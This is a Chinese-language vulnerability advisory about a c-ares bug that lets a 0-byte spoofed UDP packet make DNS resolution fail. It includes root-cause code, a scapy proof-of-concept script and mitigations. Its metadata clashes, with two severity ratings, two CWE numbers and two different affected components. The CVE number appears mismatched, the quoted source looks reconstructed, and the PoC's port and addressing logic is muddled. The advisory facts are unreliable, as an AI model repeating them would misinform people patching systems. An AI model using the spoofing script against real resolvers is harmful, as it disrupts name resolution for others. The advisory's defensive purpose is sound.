一、漏洞简介

1.1 漏洞背景

c-ares 在处理 DNS 响应时,对 UDP 和 TCP 连接的处理逻辑存在差异。当收到 0 字节的 UDP 数据包时,c-ares 错误地将其解释为连接关闭信号(这仅在 TCP 中有效),导致当前 DNS 解析失败。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 CVE-2022-25881
危害等级 MEDIUM / 5.3
漏洞类型 c-ares 0 字节 UDP 拒绝服务
披露时间 2023-01-31
影响组件 gRPC
属性
CVE 编号 CVE-2022-25881 (对应 GHSA-9g78-jv2r-p7vc)
危害等级 高危 (High)
CVSS 评分 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
CWE 编号 CWE-835 (Loop with Unreachable Exit Condition)
影响组件 c-ares
GHSA 编号 GHSA-9g78-jv2r-p7vc

补充核验信息:公开时间:2023-01-31;NVD 评分:5.3(MEDIUM);CWE:CWE-1333。

二、影响范围

2.1 受影响的版本

  • c-ares < 1.19.1

2.2 不受影响的版本

  • c-ares >= 1.19.1

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. 攻击者能够向目标 DNS 解析器发送伪造的 UDP 数据包
  2. 攻击者能够监听受害者的 DNS 查询(用于确定响应时机)

三、漏洞详情与原理解析

3.1 漏洞触发机制

攻击步骤

  1. 目标发起查询:目标解析器发送 DNS 查询
  2. 攻击者伪造响应:攻击者伪造一个长度为 0 的 UDP 数据包并返回给目标
  3. 错误解释:目标解析器错误地将 0 长度解释为连接的优雅关闭(仅对 TCP 连接有效,UDP 是无连接的)
  4. 解析失败:当前解析失败,实现 DoS 攻击

3.2 源码层面的根因分析(结合源码与补丁对比)

漏洞代码位置src/lib/ares_process.c

问题代码逻辑

static void read_udp_packets(ares_channel channel, fd_set *read_fds, time_t now) {
    // ...
    count = recvfrom(sockfd, (char *)buf, sizeof(buf), 0, ...);

    if (count <= 0) {
        // BUG: 将 UDP 的 0 字节读取视为连接关闭
        // 这只在 TCP 中有效,UDP 是无连接的
        handle_connection_close(channel, now);
        return;
    }
    // ...
}

修复补丁

static void read_udp_packets(ares_channel channel, fd_set *read_fds, time_t now) {
    // ...
    count = recvfrom(sockfd, (char *)buf, sizeof(buf), 0, ...);

    if (count < 0) {
        // 只处理真正的错误
        if (SOCKET_ERROR_IS_EWOULDBLOCK)
            return;
        handle_error(channel, now);
        return;
    }

    if (count == 0) {
        // UDP 收到 0 字节不是关闭信号,忽略
        return;  // 修复:不关闭连接
    }

    // 正常处理 DNS 响应
    process_dns_response(channel, buf, count, now);
}

四、漏洞复现(可选)

4.1 环境搭建

# 使用 scapy 构造攻击数据包
pip install scapy

4.2 PoC 演示与测试过程

#!/usr/bin/env python3
"""
CVE-2022-25881 PoC
演示如何通过发送 0 字节 UDP 包实现 DNS 解析 DoS
仅用于安全研究和教育目的
"""
from scapy.all import *
import time

def cve_2022_25881_poc(target_ip, dns_port, src_port):
    """
    发送伪造的 0 字节 UDP 响应

    参数:
        target_ip: 目标服务器 IP
        dns_port: DNS 服务器端口 (通常 53)
        src_port: 伪造的源端口 (应匹配目标的 DNS 查询)
    """
    # 构造空 UDP 包
    packet = IP(dst=target_ip) / UDP(sport=src_port, dport=dns_port) / Raw(load=b'')

    # 发送数据包
    send(packet, verbose=0)
    print(f"[*] 发送了 0 字节 UDP 包到 {target_ip}:{dns_port}")

# 注意:实际攻击需要:
# 1. 监听目标的 DNS 查询
# 2. 在目标查询后立即发送伪造响应
# 3. 伪造包的源端口需要匹配 DNS 服务器的端口

五、修复建议与缓解措施

5.1 官方版本升级建议

  • 升级 c-ares 至 >= 1.19.1

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

  1. 网络层防护
  2. 部署 BCP38 过滤伪造 IP 包
  3. 使用 DNS over TLS (DoT) 防止 UDP 欺骗
  4. 配置防火墙只接受来自可信 DNS 服务器的响应

  5. 应用层防护

  6. 实现 DNS 查询重试机制
  7. 使用多个 DNS 服务器作为备份

六、参考信息 / 参考链接

6.1 官方安全通告

6.2 其他技术参考资料

  • 清华大学网络与信息安全实验室研究报告